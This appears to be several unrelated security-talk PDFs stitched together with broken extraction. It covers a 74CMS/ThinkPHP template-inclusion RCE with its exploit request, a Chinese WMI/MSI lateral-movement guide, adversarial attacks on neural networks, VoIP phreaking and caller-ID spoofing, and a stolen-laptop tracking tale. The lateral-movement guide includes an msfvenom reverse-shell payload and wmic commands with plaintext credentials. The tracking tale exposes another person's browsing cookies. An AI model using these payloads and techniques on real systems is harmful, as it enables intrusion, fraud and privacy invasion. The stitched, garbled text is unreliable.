CMS 0x00 CMS assign_resume_tpl http://www.74cms.com/news/show-2497.html /Application/Common/Controller/BaseController.class.php assign_resume_tpl 0x01 CMS Thinkphp 3.2.3 3.2.3 URL CMS GET Home User login mca/GET http://serverName/index.php/// http://localhost/?m=home&c=user&a=login&var=value 'VAR_MODULE' => 'module', // 'VAR_CONTROLLER' => 'controller', // 'VAR_ACTION' => 'action', // http://localhost/?module=home&controller=user&action=login&var=value 0x02 /Application/Common/Controller/BaseController.class.php assign_resume_tpl $tpl fetch() /ThinkPHP/Library/Think/View.class.php public function assign_resume_tpl($variable,$tpl){ foreach ($variable as $key => $value) { $this->assign($key,$value); } return $this->fetch($tpl); } public function fetch($templateFile='',$content='',$prefix='') { if(empty($content)) { $templateFile = $this->parseTemplate($templateFile); // if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); }else{ defined('THEME_PATH') or define('THEME_PATH', $this- >getThemePath()); } // ob_start(); ob_implicit_flush(0); if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // PHP $_content = $content; // extract($this->tVar, EXTR_OVERWRITE); // PHP empty($_content)?include $templateFile:eval('?>'.$_content); }else{ // $params = array('var'=>$this- >tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); } // $content = ob_get_clean(); // Hook::listen('view_filter',$content); // return $content; } PHP /ThinkPHP/Conf/convention.php 111 CMS Think Hook::listen() view_parse /ThinkPHP/Library/Think/Hook.class.php 80 'TMPL_ENGINE_TYPE' => 'Think', // Think 'TMPL_CACHFILE_SUFFIX' => '.php', // 'TMPL_DENY_FUNC_LIST' => 'echo,exit', // 'TMPL_DENY_PHP' => false, // PHP $params = array('var'=>$this- >tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix); Hook::listen('view_parse',$params); /** * * @param string $tag * @param mixed $params * @return void */ static public function listen($tag, &$params=NULL) { if(isset(self::$tags[$tag])) { if(APP_DEBUG) { G($tag.'Start'); trace('[ '.$tag.' ] --START--','','INFO'); } foreach (self::$tags[$tag] as $name) { APP_DEBUG && G($name.'_start'); $result = self::exec($name, $tag,$params); if(APP_DEBUG){ G($name.'_end'); trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO'); } if(false === $result) { // false return ; } } if(APP_DEBUG) { // trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO'); } } return; view_parse ThinkPHP Hook::listen() $tags view_parse foreach $tags Hook:exec Hook:exec Behavior run run Hook::listen Hook /ThinkPHP/Mode/common.php view_parse ParseTemplateBehavior run run /ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php 17 } /** * * @param string $name * @param string $tag * @param Mixed $params * @return void */ static public function exec($name, $tag,&$params=NULL) { if('Behavior' == substr($name,-8) ){ // run $tag = 'run'; } $addon = new $name(); return $addon->$tag($params); } // 'tags' => array( 'app_init' => array( 'Behavior\BuildLiteBehavior', // Lite ), 'app_begin' => array( 'Behavior\ReadHtmlCacheBehavior', // ), 'app_end' => array( 'Behavior\ShowPageTraceBehavior', // Trace ), 'view_parse' => array( 'Behavior\ParseTemplateBehavior', // PHP ), 'template_filter'=> array( 'Behavior\ContentReplaceBehavior', // ), 'view_filter' => array( 'Behavior\WriteHtmlCacheBehavior', // ), ), fetch() /ThinkPHP/Library/Think/Template.class.php 73 class ParseTemplateBehavior { // run public function run(&$_data){ $engine = strtolower(C('TMPL_ENGINE_TYPE')); $_content = empty($_data['content'])? $_data['file']:$_data['content']; $_data['prefix'] = !empty($_data['prefix'])? $_data['prefix']:C('TMPL_CACHE_PREFIX'); if('think'==$engine){ // Think if((!empty($_data['content']) && $this- >checkContentCache($_data['content'],$_data['prefix'])) || $this->checkCache($_data['file'],$_data['prefix'])) { // // Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_ SUFFIX'),$_data['var']); }else{ $tpl = Think::instance('Think\\Template'); // $tpl->fetch($_content,$_data['var'],$_data['prefix']); } }else{ // if(strpos($engine,'\\')){ $class = $engine; }else{ $class = 'Think\\Template\\Driver\\'.ucwords($engine); } if(class_exists($class)) { $tpl = new $class; $tpl->fetch($_content,$_data['var']); }else { // E(L('_NOT_SUPPORT_').': ' . $class); } } } $tpl = Think::instance('Think\\Template'); // $tpl->fetch($_content,$_data['var'],$_data['prefix']); /** * * @access public * @param string $templateFile * @param array $templateVar * @param string $prefix * @return void */ public function fetch($templateFile,$templateVar,$prefix='') { $this->tVar = $templateVar; $templateCacheFile = $this->loadTemplate($templateFile,$prefix); Storage::load($templateCacheFile,$this->tVar,null,'tpl'); } /** * * @access public * @param string $templateFile * @param string $prefix * @return string * @throws ThinkExecption */ public function loadTemplate ($templateFile,$prefix='') { if(is_file($templateFile)) { $this->templateFile = $templateFile; // $tmplContent = file_get_contents($templateFile); }else{ $tmplContent = $templateFile; } // $tmplCacheFile = $this- >config['cache_path'].$prefix.md5($templateFile).$this->config['cache_suffix']; // if(C('LAYOUT_ON')) { if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent); }else{ // $layoutFile = THEME_PATH.C('LAYOUT_NAME').$this- >config['template_suffix']; // if(!is_file($layoutFile)) { E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile); } $tmplContent = str_replace($this- >config['layout_item'],$tmplContent,file_get_contents($layoutFile)); } } // $tmplContent = $this->compiler($tmplContent); Storage::put($tmplCacheFile,trim($tmplContent),'tpl'); return $tmplCacheFile; } fetch() loadTemplate loadTemplate $templateFile $tmplContent compiler /ThinkPHP/Library/Think/Template.class.php 120 $tmplContent loadTemplate fetch() loadTemplate Storage::load($templateCacheFile,$this->tVar,null,'tpl'); /ThinkPHP/Library/Think/Storage/Driver/File.class.php 69 /** * * @access protected * @param mixed $tmplContent * @return string */ protected function compiler($tmplContent) { // $tmplContent = $this->parse($tmplContent); // Literal $tmplContent = preg_replace_callback('/<!--###literal(\d+)###-->/is', array($this, 'restoreLiteral'), $tmplContent); // $tmplContent = '<?php if (!defined(\'THINK_PATH\')) exit();? >'.$tmplContent; // php $tmplContent = str_replace('?><?php','',$tmplContent); // Hook::listen('template_filter',$tmplContent); return strip_whitespace($tmplContent);//strip_whitespace } // $tmplContent = $this->compiler($tmplContent); Storage::put($tmplCacheFile,trim($tmplContent),'tpl'); return $tmplCacheFile; /** * * @access public * @param string $filename * @param array $vars * @return void */ public function load($_filename,$vars=null){ if(!is_null($vars)){ extract($vars, EXTR_OVERWRITE); } include $_filename; } 0x03 a assign_resume_tpl POST PHP PHP CMS /Application/Home/View/tpl_company/default/com_jobs_list.html http://192.168.159.208/index.php?m=home&a=assign_resume_tpl POST: variable=1&tpl=../../../../var/www/html/data/upload/resume_img/2011/13/5fae95e4 69e05.jpg <qscms:company_show ="info" id="$_GET['id']"/> CMS docx 0x04 BaseController.class.php 169 assign_resume_tpl <?php phpinfo(); ?> <qscms:company_show ="info" id="$_GET['id']"/> $view = new \Think\View; $tpl_file = $view->parseTemplate($tpl); if(!is_file($tpl_file)){ return false; } 2 /ThinkPHP/Library/Think/View.class.php View.class.php 106 fetch 110 BaseController.class.php assign_resume_tpl if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile); if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_')) $pattern = "\.\/|\.\.\/|:|%00|%0a|=|~|@|file|php|filter|resource"; if(preg_match("/".$pattern."/is",$tpl)== 1){ return $this->_empty(); } 0x05 fetch() fastadmin RCE 0x06 https://blog.csdn.net/qq_16877261/article/details/53484671 https://juejin.im/post/6844903982905688078 http://www.111com.net/phper/thinkPhp/104435.htm https://www.kancloud.cn/manual/thinkphp/1697 http://www.74cms.com/news/show-2497.html
pdf
WMI + MSI Lateral Movement NO WIN32_PROCESS NEEDED – EXPANDING THE WMI LATERAL MOVEMENT ARSENAL 原文很棒,建议阅读,本质上仍然是对wmi的利用 如标题所说,利用的WMI执行MSI包,一般我们用的 WIN32_PROCESS 类,但这里不是 WIN32_PROCESS 类。 Execution 使用msfvenom生成一个payload: wmic 对 - 敏感,这里使用了双引号避免出现问题 这里的用户前面加了一个 . ,不加 . 会导致拒绝访问,另外要求目标机器本地管理,如果是域 环境,域管也可。 WMIC 任然是通过 rpc 调用的com组件(其实就是DCOM),如果深究如何配置什么用户才能 访问dcom的话,,在 Dcomcnfg.exe 我的电脑中——属性——COM安全可以看到默认的访 问权限为 Administrators组 确认目标主机能访问到 payload.msi ,这里为了能够访问,我设置“Desktop”共享添加 “Everyone"可读取。 我这里node参数使用的是 netbios 主机名,使用主机名可能会出现一些问题,为了避免这个 问题,下面演示全部使用ip 执行之后得到 ReturnValue = 1619 ,查了下,该值代表 ERROR_INSTALL_PACKAGE_OPEN_FAILED 如果直接在通过RDP执行msi,会提示一个错误: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.10.128 LPORT=4444 -f msi -o payload.msi #原文payload 是 windows/x64/shell_reverse_tcp #另外有 msi-nouac 格式,可输出不要求提升权限的 payload wmic /node:"PC-jack-0day" /user:.\jack /password:admin product call install PackageLocation='\\PC-jerry-0day\c$\Users\jerry.0DAY\Desktop\payload.msi' #笔者使用的主机名,但建议使用ip 虽然弹出这个错误,但实际上可以弹shell,唯一的问题是在某些版本上会失败,比如Windows server 2008 R2,笔者测试失败 在stackoverflow中有提到造成这个错误是原因是仅适用于本地路径和本地路径上的UNC。 退而求其次,将文件复制到远程主机上再执行: net use \\192.168.3.62\c$ admin /user:jack copy "C:\Users\jerry.0DAY\Desktop\payload.msi" \\192.168.3.62\c$\Users\jack.0DAY\Desktop\payload.msi #这里用的powershell,cmd 下建议使用 copy /Y,测试过程请选择其他目录 #copy /Y"C:\Users\jerry.0DAY\Desktop\payload.msi" \\PC-jack- 0day\c$\Users\jack.0DAY\Desktop\payload.msi net use \\192.168.3.62\c$ /del wmic /node:192.168.3.62 /user:.\jack /password:admin product call install PackageLocation=C:\Users\jack.0DAY\Desktop\payload.msi #实际使用中,一行命令完成 #当然上传下载文件的方式也有很多种,这里仅演示最常用的 net use net use \\192.168.3.62\c$ admin /user:jack ; copy "C:\Users\jerry.0DAY\Desktop\payload.msi" "\\192.168.3.62\c$\Users\jack.0DAY\Desktop\payload.msi" ; net use \\192.168.3.62\c$ /del ; wmic /node:192.168.3.62 /user:.\jack /password:admin product call install PackageLocation=C:\Users\jack.0DAY\Desktop\payload.msi 既然本质上是在调用WMI 的类,Powershel 中的 cmdlets 也能到达同样的效果: 之所以是system 权限,是因为目标开启了AlwaysInstallElevated 组策略,详细的请参考@三好学 生 blog $Username =".\jack"   $Password = ConvertTo-SecureString "admin" -AsPlainText -Force $Credential = New-Object System.Management.Automation.PSCredential $Username,$Password Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","C:\Users\jack.0DAY\Desktop\payload.msi") -ComputerName 192.168.3.62 -Credential $Credential Observations 父进程的顺序是:services > msiexec.exe > .tmp 。 总结下吧,其实原文作者有提到这种技巧的思路,利用wmi 结合LOLBAS 达到的效果。比如既然能通 过wmi调用msiexec ,使用msiexec 加载xml执行其中的脚本也不是问题,这里仅仅是思路,在LOLBAS 可供选择的二进制有很多。
pdf
Machine Duping Pwning Deep Learning Systems CLARENCE CHIO MLHACKER @cchio adapted from Dave Conway HACKING MATH & STATS MACHINE LEARNING 1337 HAX0R ACADEMIC RESEARCH Deep Learning deep neural networks (DNN) • Not a new toy - history goes back to 1943 • MUCH MORE DATA EVERYWHERE • Revived due to improvements in computational hardware (esp. GPUs) • Multiple concurrent matrix operations can be performed • MYTH: “Modeled after how the human brain works” Nvidia ImageNet Google Inc. Google DeepMind UMass, Facial Recognition Nvidia DRIVE Nvidia Invincea Malware Detection System Deep Learning why would someone choose to use it? (Semi)Automated feature/representation learning One infrastructure for multiple problems (sort of) Hierarchical learning: Divide task across multiple layers Efficient, easily distributed & parallelized Definitely not one-size-fits-all Source: Deep Learning: Goodfellow et. al. softmax function [0.34, 0.57, 0.09] predicted class: 1 correct class: 0 np.argmax logits prediction 풇 hidden layer input layer output layer 푊 activation function bias units 4-5-3 Neural Net Architecture [17.0, 28.5, 4.50] 풇 풇 풇 풇 풇 풇 풇 풇 풇 풇 풇 Training Deep Neural Networks Step 1 of 2: Feed Forward 1. Each unit receives output of the neurons in the previous layer (+ bias signal) 2. Computes weighted average of inputs 3. Apply weighted average through nonlinear activation function 4. For DNN classifier, send final layer output through softmax function softmax function [0.34, 0.57, 0.09] logits prediction 풇 푊1 activation function [17.0, 28.5, 4.50] 풇 풇 activation function activation function input 푊2 b1 b2 bias unit bias unit Training Deep Neural Networks Step 2 of 2: Backpropagation 1. If the model made a wrong prediction, calculate the error 1. In this case, the correct class is 0, but the model predicted 1 with 57% confidence - error is thus 0.57 2. Assign blame: trace backwards to find the units that contributed to this wrong prediction (and how much they contributed to the total error) 1. Partial differentiation of this error w.r.t. the unit’s activation value 3. Penalize those units by decreasing their weights and biases by an amount proportional to their error contribution 4. Do the above efficiently with optimization algorithm e.g. Stochastic Gradient Descent 0.57 total error 풇 푊1 activation function 28.5 풇 풇 activation function activation function 푊2 b1 b2 bias unit bias unit HOW? DEMO Beyond Multi Layer Perceptrons Source: iOS Developer Library vImage Programming Guide Convolutional Neural Network Beyond Multi Layer Perceptrons Source: LeNet 5, LeCun et. al. Convolutional Neural Network Beyond Multi Layer Perceptrons Recurrent Neural Network neural network input output loop(s) • Just a DNN with a feedback loop • Previous time step feeds all intermediate and final values into next time step • Introduces the concept of “memory” to neural networks Beyond Multi Layer Perceptrons Recurrent Neural Network input output time steps network depth Y O L O ! Beyond Multi Layer Perceptrons Disney, Finding Dory Long Short-Term Memory (LSTM) RNN • To make good predictions, we sometimes need more context • We need long-term memory capabilities without extending the network’s recursion indefinitely (unscalable) Colah’s Blog, “Understanding LSTM Networks" Carla et. al., “Phone Recognition on the TIMIT Database” Deng et. al. “Deep Learning: Methods and Applications” Beyond Multi Layer Perceptrons Recursive Neural Tensor Network Socher, 2013, “Recursive Deep Models for Semantic Compositionality Over a Sentiment Treebank" (for sentiment analysis) • Handles multiplicity in the data • Window/batch of events • i.e. a phrase of words • i.e. 24 frames of a video Deep Neural Networks So much is going on in this space now Research in this field is still very active Deep Neural Networks State of the art optimizations that you can use out of the box Dropout Regularization technique: randomly drop units & connections during training dropout factor 0.5 found to perform well across many applications Srivastava et. al., 2014 The Foothill Dragon Press Deep Neural Networks State of the art optimizations that you can use out of the box PCA Whitening Dimensionality Reduction frequently used for noisy image inputs changes the input vector into a white noise vector Stanford CS231n Deep Neural Networks State of the art optimizations that you can use out of the box Leaky Rectified Linear Unit (ReLU) Activation Function Popular activation function (other popular ones are sigmoid, tanh, ReLU) He et. al., 2015 Deep Neural Networks State of the art optimizations that you can use out of the box Loss function optimization methods DatumBox, 2013 HOW TO PWN? Attack Taxonomy Exploratory Causative (Manipulative test samples) Applicable also to online-learning models that continuously learn from real-time test data (Manipulative training samples) Targeted Indiscriminate Training samples that move classifier decision boundary in an intentional direction Training samples that increase FP/FN → renders classifier unusable Adversarial input crafted to cause an intentional misclassification n/a DEMO MNIST MISCLASSIFICATION SENTIMENT MISCLASSIFICATION Why can we do this? vs. Statistical learning models don’t learn concepts the same way that we do. BLINDSPOTS: Adversarial Deep Learning Intuitions 1. Run input x through the classifier model (or substitute/approximate model) 2. Based on model prediction, derive a perturbation tensor that maximizes chances of misclassification: 1. Traverse the manifold to find blind spots in input space; or 2. Linear perturbation in direction of neural network’s cost function gradient; or 3. Select only input dimensions with high saliency* to perturb by the model’s Jacobian matrix 3. Scale the perturbation tensor by some magnitude, resulting in the effective perturbation (δx) to x 1. Larger perturbation == higher probability for misclassification 2. Smaller perturbation == less likely for human detection * saliency: amount of influence a selected dimension has on the entire model’s output Adversarial Deep Learning Intuitions Szegedy, 2013: Traverse the manifold to find blind spots in the input space • Adversarial samples == pockets in the manifold • Difficult to efficiently find by brute force (high dimensional input) • Optimize this search, take gradient of input w.r.t. target output class Adversarial Deep Learning Intuitions Goodfellow, 2015: Linear adversarial perturbation • Developed a linear view of adversarial examples • Can just take the cost function gradient w.r.t. the sample (x) and original predicted class (y) • Easily found by backpropagation Adversarial Deep Learning Intuitions Papernot, 2015: Saliency map + Jacobian matrix perturbation • More complex derivations for why the Jacobian of the learned neural network function is used • Obtained with respect to input features rather than network parameters • Forward propagation is used instead of backpropagation • To reduce probability of human detection, only perturb the dimensions that have the greatest impact on the output (salient dimensions) Threat Model: Adversarial Knowledge Model hyperparameters, variables, training tools Architecture Training data Black box Increasing attacker knowledge Deep Neural Network Attacks Adversary knowledge Attack complexity DIFFICULT EASY Architecture, Training Tools, Hyperparameters Architecture Training data Oracle Labeled Test samples Confidence Reduction Untargeted Misclassification Targeted Misclassification Source/Target Misclassification Murphy, 2012 Szegedy, 2014 Papernot, 2016 Goodfellow, 2016 Xu, 2016 Nguyen, 2014 What can you do with limited knowledge? • Quite a lot. • Make good guesses: Infer the methodology from the task • Image classification: ConvNet • Speech recognition: LSTM-RNN • Amazon ML, ML-as-a-service etc.: Shallow feed-forward network • What if you can’t guess? STILL CAN PWN? DEMO Black box attack methodology 1. Transferability Adversarial samples that fool model A have a good chance of fooling a previously unseen model B SVM, scikit-learn Decision Tree Matt's Webcorner, Stanford Linear Classifier (Logistic Regression) Spectral Clustering, scikit-learn Feed Forward Neural Network Black box attack methodology 2. Substitute model train a new model by treating the target model’s output as a training labels then, generate adversarial samples with substitute model input data target black box model training label backpropagate black box prediction substitute model Why is this possible? • Transferability? • Still an open research problem • Manifold learning problem • Blind spots • Model vs. Reality dimensionality mismatch • IN GENERAL: • Is the model not learning anything at all? What this means for us • Deep learning algorithms (Machine Learning in general) are susceptible to manipulative attacks • Use with caution in critical deployments • Don’t make false assumptions about what/how the model learns • Evaluate a model’s adversarial resilience - not just accuracy/precision/recall • Spend effort to make models more robust to tampering Defending the machines • Distillation • Train model 2x, feed first DNN output logits into second DNN input layer • Train model with adversarial samples • i.e. ironing out imperfect knowledge learnt in the model • Other miscellaneous tweaks • Special regularization/loss-function methods (simulating adversarial content during training) • DATAGRAD DEEP-PWNING “metasploit for machine learning” WHY DEEP-PWNING? • lol why not • “Penetration testing” of statistical/machine learning systems • Train models with adversarial samples for increased robustness DEMO PLEASE PLAY WITH IT & CONTRIBUTE! Deep Learning and Privacy • Deep learning also sees challenges in other areas relating to security & privacy • Adversary can reconstruct training samples from a trained black box DNN model (Fredrikson, 2015) • Can we precisely control the learning objective of a DNN model? • Can we train a DNN model without the training agent having complete access to all training data? (Shokri, 2015) WHY IS THIS IMPORTANT? WHY DEEP-PWNING? • MORE CRITICAL SYSTEMS RELY ON MACHINE LEARNING → MORE IMPORTANCE ON ENSURING THEIR ROBUSTNESS • WE NEED PEOPLE WITH BOTH SECURITY AND STATISTICAL SKILL SETS TO DEVELOP ROBUST SYSTEMS AND EVALUATE NEW INFRASTRUCTURE LEARN IT OR BECOME IRRELEVANT @cchio MLHACKER
pdf
VoIPhreaking How to make free phone calls and influence people by the grugq Agenda ● Introduction ● VoIP Overview ● Security ● Conclusion Voice over IP (VoIP) Good News ● Cheap phone calls ● Explosive growth in recent years ● Internet telephony converging with the PSTN Other News ● Immature security best practises ● Free, anonymous, phone calls VoIP Overview Agenda ● Infrastructure ● Protocols ● Signalling protocols ● Media protocols ● PSTN integration protocols How VoIP Works ● Mimics traditional POTS service ● Multiple interconnecting protocols − Protocol realms of responsibility ● Signalling ● Media ● PSTN integration ● An example, in detail... How VoIP Works, cont. ● Alice “dials” Bob − Signalling Protocols: ● Location − “Alice is @ aaa.bbb.ccc.ddd” − “Where is Bob?” ● Presence − “Is Bob available?” − Media Protocols ● Codec ● Stream location How VoIP Works ● Bob picks up the phone − Signalling protocols ● Location − “Bob is at aaa.bbb.ccc.ddd” ● Presence − “Bob is available” (he picked up the phone, duh) − Media Protocols ● Codec − Negotiated shared codec capabilities ● Stream location More 'how it works' ● Bob hangs up − Signalling ● Terminate the call − Media ● Stop receiving the stream Infrastructure Components which implement VoIP Infra. Short list ● VoIP Phones − Software − Hardware ● Internet technology − Routers − DNS ● PSTN integration technology − Media Gateway − Signalling Gateway VoIP Protocols Signalling & Media Protocols ● Separation of signalling and media ● Several competing standards − Signalling ● SIP vs. H.323 − PSTN integration ● MGCP vs. Megaco ● Proprietary protocols as well − Skype ● Recently cracked by a Chinese company. Signalling Protocols H.323 ● Early VoIP protocol set ● ASN.1 PER encoded protocol − Convoluted, complex, broken implementations ● No two H.323stacks seamlessly interoperate ● Open Source stacks are... not ideal ● No public attack tools to speak of SIP ● Session Initiation Protocol − RFC 3261 ● Based on HTTP − Error codes will look familiar ● 200 OK, 404 Not Found, 403 Forbidden, etc. − Plain text protocol ● Usually transported via UDP − Can use TCP and TLS as well SIP, cont. ● Complex state engine for call handling ● Multiple open source SIP stacks − Most are poor for attack tool development SIP Spec ● SIP packet comprised of command line and header fields ● Command line made: − Method and URI or, − Response code and response ● Header fields are ':' name value pairs − Value component can be a list with each element possessing parameters SIP Packet Example INVITE sip:bob@biloxi.com SIP/2.0 Via: SIP/2.0/UDP pc33.atlanta.com;branch=z9hG4bK776asdhds Max-Forwards: 70 To: Bob <sip:bob@biloxi.com> From: Alice <sip:alice@atlanta.com>;tag=1928301774 Call-ID: a84b4c76e66710@pc33.atlanta.com CSeq: 314159 INVITE Contact: <sip:alice@pc33.atlanta.com> Content-Type: application/sdp Content-Length: 142 Interesting SIP Methods ● INVITE − Set up a call session ● REGISTER − Update a registrar binding ● BYE − Terminate a call session ● OPTIONS − Query a SIP device for supported operations SIP Call Setup SDP ● Session Description Protocol − RFC 2371 – Obsolete − RFC 3262 ● Plain text protocol ● Defines media stream parameters − Codec − Protocol − IP address and port (range) Media Protocols RTP ● Real Time Protocol − RFC 1889 – Obsolete − RFC 3550 ● Supports multiple codecs for audio, video ● Layered on top of UDP − For speed ● Uses ID numbers for syncronisation − Not robust as security measure RTP Packet 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ |V=2|P|X| CC |M| PT | sequence number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | timestamp | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | synchronization source (SSRC) identifier | +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ | contributing source (CSRC) identifiers | | .... | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ VoIP Infrastructure SIP Entities ● User Agent − Softphone − Hardware phone − Program ● Proxy − Provides single entry/exit point for local VoIP network − Often treated as VoIP firewall − Can provide NAT functionality SIP Entities, cont. ● Registrar − Maps SIP URIs to IP addresses ● These are called “bindings” − Allows SIP UAs to roam ● Enabled via frequent bindings updates − Should require authentication to update bindings Gateway Devices ● Gateway devices convert between IP encapsulated data and PSTN data ● Media Gateway − Converts RTP and PSTN voice traffic ● Signalling Gateway − Converts SIGTRAN/SCTP to SS7 VoIP Security Nature of vulnerabilities ● Generic software problems − Memory corruption bugs ● Buffer overflows, format strings, int wraps − Race conditions ● Application specific problems − Web App ● SQL injection, LDAP injection − VoIP infrastructure ● Telephony attacks VoIP Concerns ● VoIP end users − Quality of Service (QoS) − Privacy − Authentication ● VoIP service providers − Billing − Quality of Service Internet Telephony Attacks Historic telephony attacks ● Signalling and media over same line − In band ● Original phreaks exploited access to signalling band − Blueboxing ● Eradicated with separation of signalling and media − Out of band Attacks against VoIP users ● Session Hijacking − RTP Hijacking − SIP redirection hijacking ● Re-INVITE ● Spam over Internet Telephony (SPIT) − SIP 'Alert-Info' header − Not entirely sure of the economics of SPIT Against VoIP users, cont. ● Media stream injection − Various private tools exist ● Media stream monitoring − RTP stream sniffing − SIP redirection − SIP 3rd party injection ● Denial of service Attacking VoIP service providers ● Billing attacks − Mis-charged calls ● Various SIP attacks involving spoofing − Free phone calls ● MGCP attacks ● SIP attacks ● Hijack equipment − Usually very insecure “embedded” devices SIP spoofing ● SIP packets provide two core identifier URIs − From − Contact ● Mismatches between the two can exploit poorly developed software SIP spoofing example MGCP Attacks ● MGCP spec on “security considerations”: Security is not provided as an integral part of MGCP. Instead MGCP assumes the existence of a lower layer providing the actual security. MGCP Attacks -- Techniques ● Hijacking active calls − MDCX – modify connection ● Creating new (free) calls − CRCX – create connection ● Denial of service attacks − DLCX – delete connection MGCP Attacks Example Attacks using VoIP service providers ● Caller-ID spoofing − Impersonate phone numbers ● Voicemail ● Credit card authorisation ● Etc. etc. etc. ● Full ANI spoofing − Anonymous phone calls − Mis-billed phone calls − Scams involving 'pay by phone' services Abusing nufone.net ● Allows caller ID spoofing by default SetCallerID (<Insert a valid 10 digit US48 caller ID>) ● Combined with a misconfigured VoIP calling card – Full ANI spoofing − Empty portions of the ANI are filled in from the Caller ID information ● FBI currently investigating nufone.net Phone Attack Conc. ● Multiple VoIP attack usages − Against VoIP end-users − Against VoIP service providers − Using VoIP service providers ● VoIP attacks enable additional criminal activities Conclusion ● Existing security solutions are immature ● Convergence of (trusted) PSTN and (untrusted) IP networks happening rapidly ● Brave new world of VoIPhreaking is emerging Q & A ● I can't hear any of you, and I don't speak Mandarin. Please submit all questions in writing to: /dev/null Cash for 0day exploits thegrugq@gmail.com
pdf
Pwned by the Owner Zoz Months! Fuck! Fuck! ...time passes... WTF! % nslookup 72.193.81.105 Server:127.0.0.1 Address:127.0.0.1#53 Non-authoritative answer: 105.81.193.72.in-addr.arpaname = ip72-193-81-105.lv.lv.cox.net. Authoritative answers can be found from: 81.193.72.in-addr.arpanameserver = ns.cox.net. 81.193.72.in-addr.arpanameserver = ns.east.cox.net. 81.193.72.in-addr.arpanameserver = ns.west.cox.net. ns.cox.netinternet address = 68.1.16.107 ns.east.cox.netinternet address = 68.1.16.108 ns.west.cox.netinternet address = 68.111.106.68 % ping -t 60 fear-and-loathing.cannytrophic.com PING fear-and-loathing.cannytrophic.com (72.193.81.105) 56(84) bytes of data. --- fear-and-loathing.cannytrophic.com ping statistics --- 60 packets transmitted, 0 received, 100% packet loss, time 60998ms % while (1) while? ping -t 60 fear-and-loathing.cannytrophic.com while? end PING fear-and-loathing.cannytrophic.com (72.193.81.105): 56 data bytes 64 bytes from 72.193.81.105: icmp_seq=0 ttl=50 time=587.550 ms 64 bytes from 72.193.81.105: icmp_seq=1 ttl=50 time=616.106 ms 64 bytes from 72.193.81.105: icmp_seq=2 ttl=50 time=579.045 ms 64 bytes from 72.193.81.105: icmp_seq=3 ttl=50 time=535.899 ms 64 bytes from 72.193.81.105: icmp_seq=4 ttl=50 time=611.475 ms 64 bytes from 72.193.81.105: icmp_seq=5 ttl=50 time=580.169 ms 64 bytes from 72.193.81.105: icmp_seq=6 ttl=50 time=624.006 ms 64 bytes from 72.193.81.105: icmp_seq=7 ttl=50 time=692.520 ms 64 bytes from 72.193.81.105: icmp_seq=8 ttl=50 time=606.340 ms 64 bytes from 72.193.81.105: icmp_seq=9 ttl=50 time=536.899 ms 64 bytes from 72.193.81.105: icmp_seq=10 ttl=50 time=518.204 ms 64 bytes from 72.193.81.105: icmp_seq=11 ttl=50 time=605.183 ms 64 bytes from 72.193.81.105: icmp_seq=12 ttl=50 time=577.075 ms 64 bytes from 72.193.81.105: icmp_seq=13 ttl=50 time=704.004 ms 64 bytes from 72.193.81.105: icmp_seq=14 ttl=50 time=642.844 ms 64 bytes from 72.193.81.105: icmp_seq=15 ttl=50 time=608.136 ms 64 bytes from 72.193.81.105: icmp_seq=16 ttl=50 time=568.968 ms 64 bytes from 72.193.81.105: icmp_seq=17 ttl=50 time=608.261 ms 64 bytes from 72.193.81.105: icmp_seq=18 ttl=50 time=569.168 ms 64 bytes from 72.193.81.105: icmp_seq=19 ttl=50 time=584.543 ms 64 bytes from 72.193.81.105: icmp_seq=20 ttl=50 time=627.125 ms 64 bytes from 72.193.81.105: icmp_seq=21 ttl=50 time=732.993 ms 64 bytes from 72.193.81.105: icmp_seq=22 ttl=50 time=683.913 ms 64 bytes from 72.193.81.105: icmp_seq=23 ttl=50 time=594.974 ms 64 bytes from 72.193.81.105: icmp_seq=24 ttl=50 time=594.812 ms 64 bytes from 72.193.81.105: icmp_seq=25 ttl=50 time=501.012 ms Fuck yeah! % ssh fear-and-loathing.cannytrophic.com Password: Welcome to Darwin! fear-and-loathing.cannytrophic.com:~ % 01092010-013.jpeg 03102010-002.jpeg 03102010-003.jpeg 05052010-003.jpeg .xnxx.com TRUE / FALSE 1289019977 __utmz92469890.1273251978.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr= free%20porn .fling.com TRUE / FALSE 1275731323 geo_record72.193.81%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .brandreachsys.com TRUE / FALSE 1274458209 geo_record68.104.71%3BLas+Vegas%3BNV%3BNevada%3BUS%3BUnited+States .blackphatbooty.com TRUE / FALSE 1289019665 __utmz61776127.1273251666.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr= sexy%20beautifull%20phat%20ass .bigbuttbrazilianmoms.comTRUE / FALSE 1281891944 nats_sesse14daa73ad854d24d4ee9cb052c11fdf nice-butt.org FALSE / FALSE 1422723945 